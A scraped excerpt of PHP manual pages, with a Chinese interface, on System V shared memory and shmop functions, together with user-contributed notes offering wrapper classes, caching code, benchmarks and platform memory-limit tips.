BTW, not sure how the ftok works to be honest, cause I didn't change the __FILE__ to match the file path of test.php or anything.. I would think that the file path out have to be the exact same to work correctly.. oh well, it worked as-is! haha..

- Cecil
php at cytrax dot de 18-Jan-2002 08:36
The memsize needed for shared memory (tested on linux system) can be calculated with:

For each varialbe you want to store: 24 Bytes
+ serialized var-size (see below) alligned by 4 Bytes
+ 16 Bytes

For a update of a var with the same key, the memory for the old var will be needed extra.
koester at x-itec dot de 21-Mar-2001 12:41
4194304 means 4 MB and NOT 4 GB for shared memory on FreeBSD. You can increase the shared memory at runtime if you like.
lew at persiankitty dot com 25-Jan-2001 04:30
Finding out shared memory kernel settings in FreeBSD:

sys1# sysctl -a | grep -i SHM

kern.ipc.shmmax: 4194304
kern.ipc.shmmin: 1
kern.ipc.shmmni: 96
kern.ipc.shmseg: 64
kern.ipc.shmall: 1024
kern.ipc.shm_use_phys: 0

Shows us that we can allocate a total of 4GB (wow) of shared memory, etc...
webmaster at mail dot communityconnect dot com 10-Sep-1999 01:50
With Sun Solaris 2.x, the MAXIMUM shared memory value allowed is 1,048,576.  The maximum allowed value can be determined using the command /usr/sbin/sysdef.  On Linux, there does not seem to be any system enforced maximum size.  To change the maximum allowed size on Solaris 2.x, use set shmsys:shminfo_shmmax=[new value].
h dot raaf at i-k-c dot net 25-Mar-1999 05:40
Notice that 'int key' for shared-memory is shared with the keys used for semaphores. So you get in trouble when you use the same key value for semaphores and shared memory!
eric at superstats dot com 12-Feb-1999 07:04
Objects are stored serialized in shm_put_var, so to find a value for memsize, you can use strlen(serialize($object_to_store_in_shm)).


Disconnects from shared memory segment

  • ? shm_attach
  • shm_get_var ?
  • PHP Manual
  • Semaphore 函数
  • Disconnects from shared memory segment

shm_detach

(PHP 4, PHP 5, PHP 7, PHP 8)

shm_detach — Disconnects from shared memory segment

说明

shm_detach(SysvSharedMemory $shm): bool

shm_detach() disconnects from the shared memory given by the shm created by shm_attach(). Remember, that shared memory still exist in the Unix system and the data is still present.

参数

shm

A shared memory segment obtained from shm_attach().

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | shm expects a SysvSharedMemory instance now; previously, a resource was expected.

参见

  • shm_attach() - Creates or open a shared memory segment
  • shm_remove() - Removes shared memory from Unix systems
  • shm_remove_var() - Removes a variable from shared memory

User Contributed Notes

There are no user contributed notes for this page.


Returns a variable from shared memory

  • ? shm_detach
  • shm_has_var ?
  • PHP Manual
  • Semaphore 函数
  • Returns a variable from shared memory

shm_get_var

(PHP 4, PHP 5, PHP 7, PHP 8)

shm_get_var — Returns a variable from shared memory

说明

shm_get_var(SysvSharedMemory $shm, int $key): mixed

shm_get_var() returns the variable with a given key, in the given shared memory segment. The variable is still present in the shared memory.

参数

shm

A shared memory segment obtained from shm_attach().

key

The variable key.

返回值

Returns the variable with the given key.

更新日志

版本 | 说明
8.0.0 | shm expects a SysvSharedMemory instance now; previously, a resource was expected.

参见

  • shm_has_var() - Check whether a specific entry exists
  • shm_put_var() - Inserts or updates a variable in shared memory

User Contributed Notes

serg at red-sign dot ru 28-Feb-2013 02:38
If any body has problem with shm_get_var();

this code correctly work with boolean-values^
<?php
if(shm_has_var ($this->shm_mem_id, $_varno)){
            $_value = shm_get_var($this->shm_mem_id, $_varno);
        }else{
            $_value = NULL;
        }
?>
hackmac at nowhere dot com 24-Jun-2009 02:19
hello everyone i came up with some sort of solution to the shm_get_var()
returns false on error/returns a boolean false variable problem.

test script

<?php

    error_reporting(E_ALL);
    ini_set('display_errors', '1');

    echo '<pre>';
    echo ini_get('sysvshm.init_mem');

    require_once('ClassShmWrapper.php5');

    $nKey = ftok(__FILE__,'x');

    $myShm = new ClassShmWrapper($nKey);

    $myShm->attachToSegment();

    #$mValue = range(1,rand(3,10));
    #$myShm->nVarKey = count($mrValue);

    #$mValue = FALSE;

    /*
    $mValue = TRUE;
    $myShm->nVarKey = 1;
    $myShm->mVar = $mValue;
    $myShm->putVarToSegment();
    */

    #$myShm->nVarKey = 2;
    $myShm->nVarKey = 1;

    if ($myShm->getVarFromSegment()) {
        echo "found var in shm\n";
    }
    else {
        echo "could NOT find var in shm\n";
    }

    $myShm->detachFromSegment();

    echo "\ndumping " . '$myShm->mVar' . "\n";
    var_dump($myShm->mVar);

?>

class for using the shm_ functions & class for storing boolean values

<?php

    class ClassShmWrapper {

        public $nPermissions;
        public $nKey;
        public $nBytesMemorySize;

        public $nShmId;

        public $nVarKey;
        public $mVar;

        public function __construct($nKey,$nBytesMemorySize=50000,$nPermissions=0666) {

            $this->nKey = $nKey;
            $this->nBytesMemorySize = $nBytesMemorySize;
            $this->nPermissions = $nPermissions;
        }

        public function attachToSegment() {
            $this->nShmId = shm_attach($this->nKey,$this->nBytesMemorySize,$this->nPermissions);
        }

        public function detachFromSegment() {
            shm_detach($this->nShmId);
        }

        public function removeSegment() {
            shm_remove($this->nShmId);
        }

        public function getVarFromSegment() {

            $mVar = NULL;

            if (($mVar = @shm_get_var($this->nShmId,$this->nVarKey)) !== FALSE) {

                $this->mVar = $mVar;

                unset($mVar);

                /*
                    For variables of type boolean we need to access an object property which stores the boolean value.
                    This is needed as shm_get_var() could return FALSE when returning a boolean variable set to FALSE
                    or when a non-existing variable key was tried to access!
                */

                if ($this->mVar instanceof ClassShmBooleanWrapper) {
                    $this->mVar = $this->mVar->bVal;
                }

                return TRUE;
            }
            else {

                return FALSE;
            }

        }

        /**
        * Puts a PHP variable into shared memory (or updates an existing one for the given variable key).
        *
        * @return boolean returns TRUE on success/FALSE on error
        */
        public function putVarToSegment() {

            // cmp -> comment getVarFromSegment()
            if (is_bool($this->mVar)) {

                return shm_put_var($this->nShmId,$this->nVarKey,new ClassShmBooleanWrapper($this->mVar));

            }
            else {
                return shm_put_var($this->nShmId,$this->nVarKey,$this->mVar);
            }

        }

        public function removeVarFromSgement() {

            shm_remove_var($this->nShmId,$this->nVarKey);
        }

    } // end class

    class ClassShmBooleanWrapper {

        public $bVal;

        public function __construct($bVal) {
            $this->bVal = $bVal;
        }

    } // end class

?>
php at pharse dot com 03-Dec-2008 12:05
I was annoyed by this warning when using shm_get_var():

Warning: shm_get_var() [function.shm-get-var]: variable key 2 doesn't exist in PATH_TO_FILE on line 64.

You can suppress the warning by changing the error reporting level. To do this for just the page in question, include the following line:

<?php
    error_reporting(E_ERROR);
?>

For more info: http://us.php.net/error_reporting
ricardophp at yahoo dot com dot br 27-Sep-2008 02:18
A fully functional sample  ...

<?php
echo "<PRE>\n";

define("FOPEN_RESOURCE", 1);

$shm_id = shm_attach(FOPEN_RESOURCE);
if ($shm_id === false) {
    exit("Fail to attach shared memory.\n");
}

$fopen_resource = fopen("/tmp/phpSharedMemory.bin", "w");

$a =  array("Teste1", 1);
if (!shm_put_var($shm_id, $a, $a)) {
    exit("Failed to put var 1 in shared memory $shm_id.\n");
}

echo "F: ".$a[0].":".$a[1]."\n";
$pid = pcntl_fork();

if($pid == -1) {
  die("could not fork\n");
}
else if ($pid) {
    $a = array("Teste2", 3);
    if (!shm_put_var($shm_id, $a, $a)) {
        exit("Failed to put var 1 in shared memory $shm_id.\n");
    }
    echo "P1: ".$a[0].":".$a[1]."\n";
} else {
    sleep(2);
    $a = shm_get_var($shm_id, $a);
    echo "P2: ".$a[0].":".$a[1]."\n";
}
pcntl_wait($status);
exit();
?>
JM 14-May-2005 03:50
To follow up on the posts by anonymous, Bob Van Zant and chris at free-source dot com below (or, as must people inexplicably write, above) regarding the PHP warning and FALSE that shm_get_var returns if the variable key doesn't exist:

My tests (with PHP4.3.4) show that defined() is useless here. Because the function defined(string) checks whether the constant whose name is string exists, the code
<?php
if ( defined(@shm_get_var($mutex, $mutex_key)) {
   ...
}
?>
acts the same ("..." does not get executed) whether the variable is defined or not--unless $mutex_key happens to identify a valid string that happens to be the name of a constant. :)

Rather,
<?php
if ( @shm_get_var($mutex, $mutex_key) === FALSE ) {
   ...
}
?>
works, provided the object that was stored isn't actually FALSE (via <?php shm_put_var($mutex, $mutex_key, FALSE); ?>)

It would be nice to have a completely air-tight solution, though.  D'oh!
06-May-2005 02:01
You will still receive a notice use @:

if(!defined(@shm_get_var($mutex, $mutex_key))) {
       shm_put_var($mutex, $mutex_key, 0);
}
Bob Van Zant 18-Feb-2005 12:05
This seems to work fine to detect the lack of presence of a key in shared memory and then init it to 0 when found:

if(!defined(shm_get_var($mutex, $mutex_key))) {
        shm_put_var($mutex, $mutex_key, 0);
}


Check whether a specific entry exists

  • ? shm_get_var
  • shm_put_var ?
  • PHP Manual
  • Semaphore 函数
  • Check whether a specific entry exists

shm_has_var

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

shm_has_var — Check whether a specific entry exists

说明

shm_has_var(SysvSharedMemory $shm, int $key): bool

Checks whether a specific key exists inside a shared memory segment.

参数

shm

A shared memory segment obtained from shm_attach().

key

The variable key.

返回值

Returns true if the entry exists, otherwise false

更新日志

版本 | 说明
8.0.0 | shm expects a SysvSharedMemory instance now; previously, a resource was expected.

参见

  • shm_get_var() - Returns a variable from shared memory
  • shm_put_var() - Inserts or updates a variable in shared memory

User Contributed Notes

There are no user contributed notes for this page.


Inserts or updates a variable in shared memory

  • ? shm_has_var
  • shm_remove_var ?
  • PHP Manual
  • Semaphore 函数
  • Inserts or updates a variable in shared memory

shm_put_var

(PHP 4, PHP 5, PHP 7, PHP 8)

shm_put_var — Inserts or updates a variable in shared memory

说明

shm_put_var(SysvSharedMemory $shm, int $key, mixed $value): bool

shm_put_var() inserts or updates the value with the given key.

Warnings (E_WARNING level) will be issued if shm is not a valid SysV shared memory index or if there was not enough shared memory remaining to complete your request.

参数

shm

A shared memory segment obtained from shm_attach().

key

The variable key.

value

The variable. All variable types that serialize() supports may be used: generally this means all types except for resources and some internal objects that cannot be serialized.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | shm expects a SysvSharedMemory instance now; previously, a resource was expected.

参见

  • shm_get_var() - Returns a variable from shared memory
  • shm_has_var() - Check whether a specific entry exists

User Contributed Notes

cong818 at gmail dot com 24-Dec-2012 11:59
seems to me shm_put_var() doesn't work well with an integer key 0. I changed to 1 and it works like a charm.
Jason Lester 21-Dec-2012 09:28
Yes, it is possible to maintain a real level of resource persistence using shared memory. All vars in PHP are stored in common hashtables as zvals, including resource identifiers. There are hashtables available that outlive the request as long as the entire PHP process isn't shut down. All you need is to store the identifiers in such a hashtable and a way to keep track of them and you can receive the original resource.

I don't know why PHP doesn't provide a way of setting/getting persistent resources, but it is likely do to the many types of SAPI's available for it and the fact that not all of them *can* facilitate this, including CGI which still if far from obsolete.

Another problem is that having such access in userspace is bound to create issues where multiple php processes are trying to access the same resource. Looking at it from this angel you can see that there's really no safe way to safely use such getter/setters without a better synchronism scheme in PHP.
orwellophile at spamtrak dot org 06-Apr-2010 04:17
Quote: "Will it ever support resource identifiers like pfsockopen() pointers ...  we run PHP as a Apache Module ... no way to have true persistent sockets"

Sorry, but that doesn't make sense to me... the socket is still persistent, if you wish to resume it, simply call pfsockopen() with the same host and port - and you will get the same socket.  There is no need to pass the actual resource variable.

If there is something amazingly special and unique about each socket, you can do the following - and this should apply to any persistent resource:

To differentiate between or obtain a specific resource - simply serialize/store an index of each resource's unique ID, along with the particulars that make that resource unique.

You can get a unique resource identifier as an integer value like so:

<?php
   $rid = str_replace("Resource id #", "", print_r($fp, true));
   // $rid = 2
?>

As pfsockopen() uses the hostname and port as a unique key to resume a persistent connection, you can add a DNS wildcard, or a number of manual entries in /etc/hosts (or windows equiv.) as follows:

resource-0.host.com  192.168.100.1
resource-1.host.com  192.168.100.1
resource-2.host.com  192.168.100.1
resource-3.host.com  192.168.100.1

Then, after consulting your serialized list of resources, you can connect to a specific resource by using it's resource id.

eg:  $pf = pfsockopen("resource-$rid.host.com", $port, $timeout);

The new resource will be identical to the original in every way.

For file based stream resources you could do something similar with symlinks, or use the next method...

For URL based or other resources with "paths" (I don't know if there *are* persistent functions that involve such things) you could differentiate between them with using extraneous information in the path.  eg:

  http://host.com/resource-4/../script.php
  http://resource4@host.com/script.php
  /tmp/././././file.txt

In the first example, the extraneous "resource-4" would be ignored by the webserver.

In the second, the superfluous username would be ignored by the webserver.  (Something similar for mysql_pconnect could be done with multiple usernames).

And in the the third example, four sequential occurrences of the "do nothing" string "./" would indicate resource #4.

If this isn't enough, then you can use the fact that PHP shared memory resources are themselves interoperable with those created by their .c counterparts.   That allows you to write a thin .c application to handle the dirty work.

Or you could attempt to reconnect to your own webserver, using persistent streams and the methods outlined above, to achieve the end result.   I can't think of an example of where something so extreme would be necessary, but I'm sure it's not outside the realm of possibility.

I personally use an 117 MB binary database, which is stored in shared memory, both from the command line (using a complied .c application), and from the web (via PHP, and ftok()/shmop_open()/shmop_read()).
ygbr at me dot com 12-Oct-2009 02:25
Will it ever support resource identifiers like pfsockopen() pointers?

The main problem is that when we run PHP as a Apache Module we never know in which process the next request will bind to, making impossible to have true persistent socket connections unless we can store the pointer to it or directly open the socket inode with fopen() like functions and retrieve the same resource pointer again.

I thought I could use shm, but it seems that shm doesn't allow o store resource pointers... sad... :(
Hendrik Klindworth 02-Feb-2009 08:28
shm_put_var has no protection against race conditions. If two scripts insert the same key at the same time php might segfault.
jasonrlester at yahoo dot com 25-Apr-2008 12:51
sadly troy is right

the following script will return:

resource(5) of type (stream)
int(0)

<?php

define("FOPEN_RESOURCE", 1);
define("FOPEN_FILEPATH", "/path/to/file");

$fopen_resource = fopen(FOPEN_FILEPATH, "w");

var_dump($fopen_resource);

$shm_id = shm_attach(1);
if ($shm_id === false)
{
    echo "Fail to attach shared memory.\n";
}

if (!shm_put_var($shm_id, FOPEN_RESOURCE, $fopen_resource))
{
    echo "Failed to put var 1 in shared memory $shm_id.\n";
}

$sm_fopen_resource = shm_get_var($shm_id, FOPEN_RESOURCE);
if ($sm_fopen_resource === false)
{
    echo "Failed to retreive fopen_resource from Shared memory\r\n";
}

var_dump($sm_fopen_resource);

if($shm_id) shm_remove($shm_id);
if($fopen_resource) fclose($fopen_resource);

?>
troy 06-Mar-2008 07:02
This isn't entirely accurate. Not all variable types are supported, you can't put a resource variable into shared memory.

When you try to take it out, it will be a zero.
tomlove at gmail dot com 30-Sep-2004 04:53
Use as few variable_keys as you can. With large arrays of data, rather make the array multi-dimensional and store under one variable_key than use variable_key as your index. The benefit is especially noticeable when repeated fetching from the end of the array is necessary and updates are less frequent.


Removes a variable from shared memory

  • ? shm_put_var
  • shm_remove ?
  • PHP Manual
  • Semaphore 函数
  • Removes a variable from shared memory

shm_remove_var

(PHP 4, PHP 5, PHP 7, PHP 8)

shm_remove_var — Removes a variable from shared memory

说明

shm_remove_var(SysvSharedMemory $shm, int $key): bool

Removes a variable with a given key and frees the occupied memory.

参数

shm

A shared memory segment obtained from shm_attach().

key

The variable key.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | shm expects a SysvSharedMemory instance now; previously, a resource was expected.

参见

  • shm_remove() - Removes shared memory from Unix systems

User Contributed Notes

There are no user contributed notes for this page.


Removes shared memory from Unix systems

  • ? shm_remove_var
  • SysvMessageQueue ?
  • PHP Manual
  • Semaphore 函数
  • Removes shared memory from Unix systems

shm_remove

(PHP 4, PHP 5, PHP 7, PHP 8)

shm_remove — Removes shared memory from Unix systems

说明

shm_remove(SysvSharedMemory $shm): bool

shm_remove() removes the shared memory shm. All data will be destroyed.

参数

shm

A shared memory segment obtained from shm_attach().

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | shm expects a SysvSharedMemory instance now; previously, a resource was expected.

参见

  • shm_remove_var() - Removes a variable from shared memory

User Contributed Notes

HansRich 12-Jun-2014 03:17
WARNING: this function WILL NOT destroy the memory segment if there are other processes attached to it, but it will return TRUE anyways!

You will have to try to access the segment again after destroying it to make sure it was relly destroyed.
aaron DURP segura DURP gmail DURP com 19-Aug-2006 04:55
It appears that you must be connected to the shm segment in order to remove it.

<?php
shm_remove($shm);
shm_detach($shm);
?>

works, while

<?php
shm_detach($shm);
shm_remove($shm);
?>

produces "Warning: shm_remove(): The parameter is not a valid shm_identifier ..."
cu at ulakbim dot gov dot tr 29-Dec-1999 08:30
Though it says **shm_identifier** in
  int shm_remove(int shm_identifier);
and
  shm_attach() returns an **id** that that can be used to access the System V...

a snippet like this:
<?php
  $key = 1234;
  $shm=shm_attach($key);
  // do whatever...
  shm_remove($shm);
?>

produces an error like
Warning: 2(which is the value of $shm) is not a existing SysV shared memory key in /usr/cu/web/sema.php on line 44...

The documentation confused me a bit. I thought shm_remove would get the shm handle/id that returns from shm_attach, not the key given to shm_attach. So, use instead:
  shm_remove($key);

which is what is intended indeed.


The SysvMessageQueue class

(PHP 8)

简介

A fully opaque class which replaces a sysvmsg queue resource as of PHP 8.0.0.

类摘要

final class SysvMessageQueue {
}

User Contributed Notes

There are no user contributed notes for this page.


The SysvSemaphore class

(PHP 8)

简介

A fully opaque class which replaces a sysvsem resource as of PHP 8.0.0.

类摘要

final class SysvSemaphore {
}

User Contributed Notes

There are no user contributed notes for this page.


The SysvSharedMemory class

(PHP 8)

简介

A fully opaque class which replaces a sysvshm resource as of PHP 8.0.0.

类摘要

final class SysvSharedMemory {
}

User Contributed Notes

There are no user contributed notes for this page.


Shared Memory

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • Basic usage
  • Shared Memory 函数
    • shmop_close — Close shared memory block
    • shmop_delete — Delete shared memory block
    • shmop_open — Create or open shared memory block
    • shmop_read — Read data from shared memory block
    • shmop_size — Get size of shared memory block
    • shmop_write — Write data into shared memory block
  • Shmop — The Shmop class

User Contributed Notes

mattcsl at gmail dot com 26-Oct-2013 11:58
thankyou,

this function had a missing comma between test1 and test2 and is fixed below

function get_cache_id($name) {
    // maintain list of caches here
    $id=array(  'test1' => 1,
                'test2' => 2
                );

    return $id[$name];
}
makr at makrit dot net 09-Mar-2013 11:05
shmop made simple:
$test=get_cache('test');
save_cache($test, 'test1', 600);

To save/get cache that easily just save this as cache.php or whatever you see fit:

<?php

function save_cache($data, $name, $timeout) {
    // delete cache
    $id=shmop_open(get_cache_id($name), "a", 0, 0);
    shmop_delete($id);
    shmop_close($id);

    // get id for name of cache
    $id=shmop_open(get_cache_id($name), "c", 0644, strlen(serialize($data)));

    // return int for data size or boolean false for fail
    if ($id) {
        set_timeout($name, $timeout);
        return shmop_write($id, serialize($data), 0);
    }
    else return false;
}

function get_cache($name) {
    if (!check_timeout($name)) {
        $id=shmop_open(get_cache_id($name), "a", 0, 0);

        if ($id) $data=unserialize(shmop_read($id, 0, shmop_size($id)));
        else return false;          // failed to load data

        if ($data) {                // array retrieved
            shmop_close();
            return $data;
        }
        else return false;          // failed to load data
    }
    else return false;              // data was expired
}

function get_cache_id($name) {
    // maintain list of caches here
    $id=array(  'test1' => 1
                'test2' => 2
                );

    return $id[$name];
}

function set_timeout($name, $int) {
    $timeout=new DateTime(date('Y-m-d H:i:s'));
    date_add($timeout, date_interval_create_from_date_string("$int seconds"));
    $timeout=date_format($timeout, 'YmdHis');

    $id=shmop_open(100, "a", 0, 0);
    if ($id) $tl=unserialize(shmop_read($id, 0, shmop_size($id)));
    else $tl=array();
    shmop_delete($id);
    shmop_close($id);

    $tl[$name]=$timeout;
    $id=shmop_open(100, "c", 0644, strlen(serialize($tl)));
    shmop_write($id, serialize($tl), 0);
}

function check_timeout($name) {
    $now=new DateTime(date('Y-m-d H:i:s'));
    $now=date_format($now, 'YmdHis');

    $id=shmop_open(100, "a", 0, 0);
    if ($id) $tl=unserialize(shmop_read($id, 0, shmop_size($id)));
    else return true;
    shmop_close($id);

    $timeout=$tl[$name];
    return (intval($now)>intval($timeout));
}

?>


简介

Shmop is an easy to use set of functions that allows PHP to read, write, create and delete Unix shared memory segments.

User Contributed Notes

There are no user contributed notes for this page.


安装

To use shmop you will need to compile PHP with the --enable-shmop parameter in your configure line.

User Contributed Notes

There are no user contributed notes for this page.


资源类型

Prior to PHP 8.0.0, this extension defined the resource type shmop which is a handle to a shared memory block.

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

Example #1 Shared Memory Operations Overview

<?php

// Create 100 byte shared memory block with system id of 0xff3
$shm_id = shmop_open(0xff3, "c", 0644, 100);
if (!$shm_id) {
echo "Couldn't create shared memory segment\n";
}

// Get shared memory block's size
$shm_size = shmop_size($shm_id);
echo "SHM Block Size: " . $shm_size . " has been created.\n";

// Lets write a test string into shared memory
$shm_bytes_written = shmop_write($shm_id, "my shared memory block", 0);
if ($shm_bytes_written != strlen("my shared memory block")) {
echo "Couldn't write the entire length of data\n";
}

// Now lets read the string back
$my_string = shmop_read($shm_id, 0, $shm_size);
if (!$my_string) {
echo "Couldn't read from shared memory block\n";
}
echo "The data inside shared memory was: " . $my_string . "\n";

//Now lets delete the block and close the shared memory segment
if (!shmop_delete($shm_id)) {
echo "Couldn't mark shared memory block for deletion.";
}
shmop_close($shm_id);

?>

User Contributed Notes

Anonymous 08-Jan-2018 02:27
Simple class for SHMOP implementation.

# Warning #

You can write/read only one direction. If you try read and write at the same time you get corrupt data. (Its works like STD in/out)
If you need bi-directional communication create 2 instance of shmop class.
Don't try attach more than one readers or writers for some shmid, you get corrupt data. This class use kludged spinlocks for improve speed, and not real atomic operations. You can add semaphore with flock, but it very slow. (~x3)

Benchmark:

Reads per sec: 6316 Data size per sec: 6.17 gb

<?php
########################
# shmopwriter.php
########################

$blockSize = 1024 * 1024 * 100;
$data = random_bytes($blockSize);

try
{
    $shm = new SHMOP('shmopwriter.php', 'c', 644, $blockSize);

    while(1)
    {
        if(!$shm->canWrite())
            continue;

        $shm->write($data);
    }

    $shm->close();

} catch (Exception $e) {
     echo 'Error: ',  $e->getMessage(), PHP_EOL;
     exit;
}

########################

########################
# shmopreader.php
########################

$blockSize = 1024 * 1024 * 100;
$shm = new SHMOP('shmopwriter.php', 'c', 644, $blockSize);
$readsMT = 0;
$readsPS = 0;

while(!$shm->eof())
{
    $times = microtime(true);

    if(($data = $shm->read()) === false)
        continue;

    $readsPS++;
    $readsMT += round(((microtime(true) - $times ) * 1000), 3);

    if($readsMT > 1000)
    {
        echo 'Reads per sec: ', $readsPS, ' Data size per sec: ', convert($blockSize * $readsPS), PHP_EOL;
        $readsPS = 0;
        $readsMT = 0;
    }
}

function convert($size)
{
    $unit=array('b','kb','mb','gb','tb','pb');
    return @round($size/pow(1024,($i=floor(log($size,1024)))),2).' '.$unit[$i];
}
########################

########################
# shmop.class.php
########################

class SHMOP
{
    private $shmId;
    private $shmHeaderSize;
    private $shmHeaderOffset;
    private $shmBlockSize;
    private $shmMaxBlockSize;

    function __construct(string $pathname, string $flags, int $mode, int $size)
    {
        $this->shmHeaderSize = strlen($size);
        $this->shmHeaderOffset = $this->shmHeaderSize + 1;
        $this->shmMaxBlockSize = $size;
        $this->shmBlockSize = $size + $this->shmHeaderOffset + 1;

        $this->shmId = shmop_open(ftok($pathname, 's'), $flags, $mode, $this->shmBlockSize);

        if(!$this->shmId)
            throw new Exception('shmop_open error');
    }

    function __destruct()
    {
        if(!$this->shmId)
            return;

        $this->close();
    }

    public function read()
    {
        // Check SpinLock
        if(shmop_read($this->shmId, 0, 1) === "\0")
            return false;

        // Get Header
        $dataSize = (int)shmop_read($this->shmId, 1, $this->shmHeaderSize);

        $data = shmop_read($this->shmId, $this->shmHeaderOffset, $dataSize);
        // release spinlock
        shmop_write($this->shmId, "\0", 0);
        return $data;
    }

    public function write(string $data)
    {
        // Check SpinLock
        if(shmop_read($this->shmId, 0, 1) !== "\0")
            return false;

        $dataSize = strlen($data);

        if($dataSize < 1)
            throw new Exception('dataSize < 1');

        if($dataSize > $this->shmMaxBlockSize)
            throw new Exception('dataSize > shmMaxBlockSize: '. $this->shmMaxBlockSize);

        // pack very slow use kludge
        $dataSize .= "\0";

        // Write Header
        shmop_write($this->shmId, $dataSize, 1);
        // Write Data
        shmop_write($this->shmId, $data, $this->shmHeaderOffset);
        // Write spinlock
        shmop_write($this->shmId, "\1", 0);
        return true;
    }

    public function eof()
    {
        return (shmop_read($this->shmId, 0, 1) === "\2") ? true : false;
    }

    public function sendeof()
    {
        // Check SpinLock
        if(shmop_read($this->shmId, 0, 1) !== "\0")
            return false;

        shmop_write($this->shmId, "\2", 0);
        return true;
    }

    public function canWrite()
    {
        // Check SpinLock
        return (shmop_read($this->shmId, 0, 1) === "\0") ? true : false;
    }

    public function close()
    {
        return @shmop_close($this->shmId);
    }

    private function delete()
    {
        $del = @shmop_delete($this->shmId);

        if($del === false)
            return false;

        return @shmop_close($this->shmId);
    }
}

?>


Shared Memory 函数

Table of Contents

  • shmop_close — Close shared memory block
  • shmop_delete — Delete shared memory block
  • shmop_open — Create or open shared memory block
  • shmop_read — Read data from shared memory block
  • shmop_size — Get size of shared memory block
  • shmop_write — Write data into shared memory block

User Contributed Notes

Arikania 06-May-2018 04:11
The shmop implementation as described in this help page is acttually merely a ramdisk / tmpfs that exists only within php, and even only on the linux servers. Or am I missing something?

On windows, the very same functionality can easily be achieved by creating such disk.

In fact, on my own server, I do use a tmpfs disk instead of the - as it appears to me - limited shmop feature.

Why not implement a $_SHARED or $_MUTUAL SuperGlobal in which we can create variables at will, and that is shared by all connections?

This would greatly improve performance of many PHP applications, and could save a lot of burden on server memory. Especially if those variables could be classes containing functions.

You could implement that it is up to the programmer to guard atomicity.

Such superglobal would be feasible on windows servers as well.
joeldg at gmail.com 09-Feb-2006 11:28
I wrote a php memcache back in 2003 as a sort of proof of concept
it is use on a few machines for doing heavy page load caching...
it works very well.
Following are some of the core functions I made

<?php
###############################################
#### shared mem functions
/*
    for debugging these
        use `ipcs` to view current memory
        use `ipcrm -m {shmid}` to remove
        on some systems use `ipcclean` to clean up unused memory if you
        don't want to do it by hand
*/
###############################################
    function get_key($fsize, $file){
        if(!file_exists(TMPDIR.TMPPRE.$file)){
            touch(TMPDIR.TMPPRE.$file);
        }
        $shmkey = @shmop_open(ftok(TMPDIR.TMPPRE.$file, 'R'), "c", 0644, $fsize);
        if(!$shmkey) {
                return false;
        }else{
            return $shmkey;
        }//fi
    }
    function writemem($fdata, $shmkey){
        if(MEMCOMPRESS && function_exists('gzcompress')){
            $fdata = @gzcompress($fdata, MEMCOMPRESSLVL);
        }
        $fsize = strlen($fdata);
        $shm_bytes_written = shmop_write($shmkey, $fdata, 0);
        updatestats($shm_bytes_written, "add");
        if($shm_bytes_written != $fsize) {
                return false;
        }else{
            return $shm_bytes_written;
        }//fi
    }
    function readmem($shmkey, $shm_size){
        $my_string = @shmop_read($shmkey, 0, $shm_size);
        if(MEMCOMPRESS && function_exists('gzuncompress')){
            $my_string = @gzuncompress($my_string);
        }
        if(!$my_string) {
                return false;
        }else{
            return $my_string;
        }//fi
    }
    function deletemem($shmkey){
        $size = @shmop_size($shmkey);
        if($size > 0){ updatestats($size, "del"); }
        if(!@shmop_delete($shmkey)) {
            @shmop_close($shmkey);
                return false;
        }else{
            @shmop_close($shmkey);
            return true;
        }
    }
    function closemem($shmkey){
        if(!shmop_close($shmkey)) {
                return false;
        }else{
            return true;
        }
    }
    function iskey($size, $key){
        if($ret = get_key($size, $key)){
            return $ret;
        }else{
            return false;
        }
    }
################################################
?>
Roy <roy AT enhost.com> 28-Jan-2006 09:58
I have written a script to highlight the superiority of shared memory storage.
Although it doesn't use the shmop function, the underlying concept is similar.
'/shm_dir/' is a tmpfs directory, which is based on shared memory, that I have mounted on the server.

Below is the result on an Intel Pentium VI 2.8 server:

IO test on 1000 files
IO Result of Regular Directory : 0.079015016555786
IO Result of Shared Memory Directory : 0.047761917114258

IO test on 10000 files
IO Result of Regular Directory : 3.7090260982513
IO Result of Shared Memory Directory : 0.46256303787231

IO test on 40000 files
IO Result of Regular Directory : 117.35703110695 seconds
IO Result of Shared Memory Directory : 2.6221358776093 seconds

The difference is not very apparent nor convincing at 100 files.
But when we step it up a level to 10000 and 40000 files, it becomes pretty obvious that Shared Memory is a better contender.

Script courtesy of http://www.enhost.com

<?php
set_time_limit(0);

// Your regular directory. Make sure it is write enabled
$setting['regular_dir'] =  '/home/user/regular_directory/';

// Your shared memory directory.
$setting['shm_dir'] =  '/shm_dir/';

// Number of files to read and write
$setting['files'] =  40000;

function IO_Test($mode)
{
    $starttime = time()+microtime();

    global $setting;

        for($i = 0 ; $i< $setting['files'] ;$i++)
        {
            $filename = $setting[$mode].'test'.$i.'.txt';
            $content = "Just a random content";

                // Just some error detection
               if (!$handle = fopen($filename, 'w+'))
               {
                     echo "Can't open the file ".$filename;
                     exit;
               }

               if (fwrite($handle, $content ) === FALSE)
               {
                   echo "Can't write to file : ".$filename;
                   exit;
               }

               fclose($handle);

            // Read Test
            file_get_contents($filename);

        }

   $endtime = time()+microtime();

   $totaltime = ($endtime - $starttime);

   return $totaltime;

}

echo '<b>IO test on '.$setting['files']. ' files</b><br>';
echo 'IO Result of <b>Regular</b> Directory : '.IO_Test('regular_dir')   .' seconds<br>';
echo 'IO Result of <b>Shared Memory</b> Directory : '.IO_Test('shm_dir')       .' seconds<br>';

/* Removal of files to avoid underestimation
#
#         Failure to remove files will result in inaccurate benchmark
#         as it will result in the IO_Test function not re-creating the existing files
*/
    foreach ( glob($setting['regular_dir']."*.txt") as $filename) {
       unlink($filename);$cnt ++;
    }
    foreach ( glob($setting['shm_dir']."*.txt") as $filename) {
       unlink($filename);$cnt ++;
    }

?>
hackie at prohost dot org 26-Sep-2005 09:33
It's not the job of the shmop extension to provide locking, there are many locking schemes avalible, if you need some sort of atomic operations choose a locking scheme that suits you and use it.
Craig Manley 06-Jan-2005 03:19
